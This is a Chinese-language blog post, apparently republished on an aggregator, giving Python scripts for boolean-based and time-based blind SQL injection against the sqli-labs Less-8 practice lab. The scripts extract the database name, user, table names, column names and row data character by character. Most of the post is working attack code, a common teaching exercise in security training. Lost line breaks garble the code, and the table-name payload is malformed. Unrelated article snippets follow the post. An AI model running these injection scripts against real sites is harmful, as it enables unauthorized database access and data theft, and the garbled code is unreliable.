sql盲注腳本

在sqli-labs中的第8題無回顯可以嘗試盲注的手法獲取數據

發現頁面加載了3秒左右可以進行盲注

布爾盲注數據庫名

import requestsdef inject_database(url):dataname=''for i in range(1,15):low = 32high = 128mid = (low + high) // 2while low < high:path = "id=1' and ascii(substr(database(),%d, 1)) > %d-- " % (i,mid)r = requests.get(url,path)if "You are in..........." in r.text:low = mid + 1else :high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)print(dataname)if __name__=='__main__':url = 'http://127.0.0.1:8989/Less-8/'inject_database(url)

結果

用時間盲注出用戶名

import requests
import timedef inject_user(url):user=''for i in range(1,15):low = 32high = 128mid = (low + high) // 2while low < high:payload = f"1' and if(ascii(substr(user(), {i}, 1)) > {mid},sleep(1),0)-- "res = {"id":payload}start_time = time.time()r = requests.get(url,params=res)if (time.time() - start_time)>1:# 匹配成功low = mid + 1else :high = midmid = (low + high) // 2if mid == 32:breakuser += chr(mid)print(user)if __name__=='__main__':url = 'http://127.0.0.1:8989/Less-8/'inject_user(url)

結果

用盲注的方式查詢表、列、具體數據

if __name__ == '__main__':url = 'http://127.0.0.1:8989/Less-8/'# 獲取當前數據庫名database_name = inject_database(url)print(f"Database name: {database_name}")# 獲取數據庫中的表名tables = inject_tables(url, database_name)print(f"Tables in database '{database_name}': {tables}")# 獲取指定表中的列名table_name = 'users'  # 替換為目標表名columns = inject_columns(url, table_name)print(f"Columns in table '{table_name}': {columns}")# 獲取指定表中特定列的數據column_name = 'username'  # 替換為目標列名data = inject_data(url, table_name, column_name)print(f"Data in column '{column_name}' of table '{table_name}': {data}")

時間檢測模塊

# 發送請求并檢查響應時間
def check_time_injection(url, payload):res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)elapsed_time = time.time() - start_timereturn elapsed_time > 1  # 假設延遲超過1秒表示查詢成功

數據庫模塊

# 獲取當前數據庫名
def inject_database(url):dataname=''for i in range(1,15):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(),%d, 1)) > %d-- " % (i,mid)res = {"id":payload}r = requests.get(url,params=res)if "You are in..........." in r.text:low = mid + 1else :high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)print(dataname)return dataname

數據庫中表名模塊

# 獲取指定數據庫中的表名
def inject_tables(url, database_name):tables = []table_index = 0while True:table_index += 1table_name = ''for i in range(1, 20):  # 假設表名長度不超過20字符low = 32high = 128while low < high:mid = (low + high) // 2payload = f",' and if(ascii(substr(select table_name from information_schema.tables where table_name='{database_name}' limit {table_index-1},1),{i},1 > {mid},sleep(1),0)-- "if check_time_injection(url, payload):low = mid + 1else:high = midif low == 32:  # ASCII碼32為空格,通常表示結束breaktable_name += chr(low)print(f"Current table name: {table_name}")if table_name:tables.append(table_name)print(f"Found table: {table_name}")else:breakreturn tables

列名模塊

def inject_columns(url, table_name):columns = []column_index = 0while True:column_index += 1column_name = ''for i in range(1, 20):  # 假設列名長度不超過20字符low = 32high = 128while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_name='{table_name}' limit {column_index-1},1),{i},1)) > {mid},sleep(1),0) -- "if check_time_injection(url, payload):low = mid + 1else:high = midif low == 32:  # ASCII碼32為空格,通常表示結束breakcolumn_name += chr(low)print(f"Current column name: {column_name}")if column_name:columns.append(column_name)print(f"Found column: {column_name}")else:breakreturn columns

指定查詢數據模塊

# 獲取指定表中特定列的數據
def inject_data(url, table_name, column_name):data = []row_index = 0while True:row_index += 1row_value = ''for i in range(1, 20):  # 假設數據長度不超過20字符low = 32high = 128while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select {column_name} from {table_name} limit {row_index-1},1),{i},1)) > {mid},sleep(1),0) -- "if check_time_injection(url, payload):low = mid + 1else:high = midif low == 32:  # ASCII碼32為空格,通常表示結束breakrow_value += chr(low)print(f"Current row value: {row_value}")if row_value:data.append(row_value)print(f"Found data: {row_value}")else:breakreturn data

結果

數據庫

user

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/895655.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/895655.shtml
英文地址,請注明出處:http://en.pswp.cn/news/895655.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

文字識別產品、文檔識別系統、表格識別API

文字識別技術讓文字錄入工作不再繁瑣。人工智能時代&#xff0c;文字識別接口產品運用先進的光學字符識別與圖像處理技術&#xff0c;衍生了一系列圖像文字快速提取的應用場景。無論是掃描文件、照片文字還是PDF文檔&#xff0c;文字識別接口都能輕松應對。支持對中文簡體、中文…

Python 依賴管理的革新——Poetry 深度解析

引言 在 Python 生態中&#xff0c;依賴管理一直是開發者關注的重要話題。從最初的 pip 和 virtualenv&#xff0c;到后來的 pipenv&#xff0c;Python 依賴管理工具不斷進化。而近年來&#xff0c;Poetry 作為一款集成包管理和虛擬環境管理的新興工具&#xff0c;逐漸獲得了廣…

springcloud集成gateway

本篇文章只介紹gateway模塊的搭建步驟&#xff0c;并無gateway詳細介紹 gateway詳解請查看&#xff1a;SpringCloudGateway官方文檔詳解 前置處理 父模塊中已指定版本 不知道如何選擇版本看這篇&#xff1a; 手把手教你梳理springcloud與springboot與springcloudalibaba的版本…

【Elasticsearch】文本分析Text analysis概述

文本分析概述 文本分析使 Elasticsearch 能夠執行全文搜索&#xff0c;搜索結果會返回所有相關的結果&#xff0c;而不僅僅是完全匹配的結果。 如果你搜索“Quick fox jumps”&#xff0c;你可能希望找到包含“A quick brown fox jumps over the lazy dog”的文檔&#xff0c…

建筑兔零基礎自學python記錄22|實戰人臉識別項目——視頻人臉識別(下)11

這次我們繼續解讀代碼&#xff0c;我們主要來看下面兩個部分&#xff1b; 至于人臉識別成功的要點我們在最后總結~ 具體代碼學習&#xff1a; #定義人臉名稱 def name():#預學習照片存放位置path M:/python/workspace/PythonProject/face/imagePaths[os.path.join(path,f) f…

二〇二四年終總結

寫在前面 簡單總結一下告訴自己&#xff0c;曾經活著 不必太糾結于當下&#xff0c;也不必太憂慮未來&#xff0c;當你經歷過一些事情的時候&#xff0c;眼前的風景已經和從前不一樣了。——村上春樹 原本應該 24 年年中的時候寫 23 年年終的總結&#xff0c;但是一直拖著&…

LabVIEW太陽能制冷監控系統

在全球能源需求日益增長的背景下&#xff0c;太陽能作為一種無限再生能源&#xff0c;被廣泛應用于各種能源系統中。本基于LabVIEW軟件和STM32F105控制器的太陽能制冷監控系統的設計與實現&#xff0c;提供一個高效、經濟的太陽能利用方案&#xff0c;以應對能源消耗的挑戰。 項…

Node.js中的npm包:從入門到實踐指南

目錄 一、npm的核心概念 二、npm核心命令與工作流 三、package.json深度解析 四、高級技巧與最佳實踐 五、常見問題解決方案 六、未來趨勢 在Node.js生態中&#xff0c;npm&#xff08;Node Package Manager&#xff09; 是開發者不可或缺的工具。它不僅是全球最大的開源軟…

AIGC圖生視頻保姆級教程

一、AI文生圖高階技巧 推薦工具 ? MidJourney&#xff08;藝術感最強&#xff09; ? DALLE 3&#xff08;與ChatGPT深度聯動&#xff09; ? Leonardo.ai&#xff08;精細化參數控制&#xff09; 核心策略 提示詞架構&#xff1a; [主體描述][環境氛圍][鏡頭語言][風格參數…

嵌入式EasyRTC實時通話支持海思hi3516cv610,編譯器arm-v01c02-linux-musleabi-gcc

EasyRTC已經完美支持海思hi3516cv610&#xff0c;編譯器arm-v01c02-linux-musleabi-gcc&#xff0c;總體SDK大小控制在680K以內&#xff08;預計還能壓縮100K上下&#xff09;&#xff1a; EasyRTC在hi3516cv610芯片上能雙向通話、發送文字以及二進制指令&#xff0c;總體運行…

力扣做題記錄 (二叉樹)

二叉樹 打算先來了解二叉樹基礎&#xff0c;都是簡單題&#xff0c;目的是熟悉代碼格式和解題基礎思路。 1、二叉樹最大深度 二叉樹最大深度 方法一、深度搜索 直接用原函數做遞歸&#xff0c;比較簡單 /*** Definition for a binary tree node.* struct TreeNode {* …

如何下載Qt和運行第一個程序。

Ubuntu24.04 下載比較容易&#xff0c;基本都是無腦操作。途中匯出現有個別package下載不成功的情況&#xff0c;重新下載即可。 文章目錄 下載qt運行qt第一個項目 下載qt 1.先找到官網&#xff0c;點擊Download。 2.然后選擇&#xff0c;community User 3.然后會跳轉到這個…

HCIA項目實踐--靜態路由的拓展配置

7.7 靜態路由的拓展配置 網絡中的兩個重要思想&#xff1a; &#xff08;1&#xff09; 實的不行來虛的&#xff1b; &#xff08;2&#xff09; 范圍太大&#xff0c;劃分范圍。&#xff08;分治&#xff09; 7.7.1 負載均衡 &#xff08;1&#xff09;定義 負載均衡是一種網…

Base64 PDF解析器

<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Base64 PDF解析器</title><style>body {font-family: Arial, sans-serif;max-width: 800px;margin: 20px auto;padding: 20px;}.contain…

基于51單片機的的雞籠補光和恒溫系統的設計與實現(源程序+Protues仿真+電路圖+元件清單+器件手冊)

編號&#xff1a;71 基于51單片機的的雞籠補光和恒溫系統的設計與實現 功能描述&#xff1a; 本設計由89C52單片機液晶12864顯示模塊聲光報警電路溫濕度傳感器電路風扇電路LED照明電路光照檢測電路GSM電路DS1302時鐘電路 1.實現的功能 (1)采用DHT11溫濕傳感器、光敏電阻捕捉…

Spring——Spring開發實戰經驗(1)

摘要 文章主要介紹了 Swagger 作為 API 文檔生成和測試工具的功能&#xff0c;包括自動生成 API 文檔、提供可視化調試界面、促進前后端協作、支持 OpenAPI 規范等。同時&#xff0c;還提及了 Spring Boot 與 Swagger3 的實戰應用&#xff0c;以及 Spring 開發中其他相關技術內…

SAP-ABAP:SAP的Screen Layout Designer屏幕布局設計器詳解及示例

在SAP中&#xff0c;Screen Layout Designer&#xff08;屏幕布局設計器&#xff09;是用于設計和維護屏幕&#xff08;Dynpro&#xff09;布局的工具。通過Screen Layout Designer&#xff0c;您可以創建和修改屏幕元素&#xff08;如輸入字段、按鈕、文本、表格控件等&#x…

安全筑基,智能賦能:BeeWorks IM引領企業協同新紀元

在數字經濟高速發展的今天&#xff0c;企業通訊系統已從單純的信息傳遞工具演變為支撐業務創新的核心平臺。傳統通訊工具在安全性、智能化、協同性等方面的不足&#xff0c;嚴重制約著企業的數字化轉型進程。BeeWorks IM系統以其創新的技術架構和智能化功能&#xff0c;正在重新…

SpringBoot實戰:高效獲取視頻資源

文章目錄 前言技術實現SpringBoot項目構建產品選取配置數據采集 號外號外 前言 在短視頻行業高速發展的背景下&#xff0c;海量內容數據日益增長&#xff0c;每天都有新的視頻、評論、點贊、分享等數據涌現。如何高效、精準地獲取并處理這些龐大的數據&#xff0c;已成為各大平…

【IoTDB 線上小課 11】為什么 DeepSeek 要選擇開源?

新年新氣象&#xff0c;【IoTDB 視頻小課】第十一期全新來臨&#xff01; 關于 IoTDB&#xff0c;關于物聯網&#xff0c;關于時序數據庫&#xff0c;關于開源... 一個問題重點&#xff0c;3-5 分鐘&#xff0c;我們講給你聽&#xff1a; 開源“加成”再次展現&#xff01; 現在…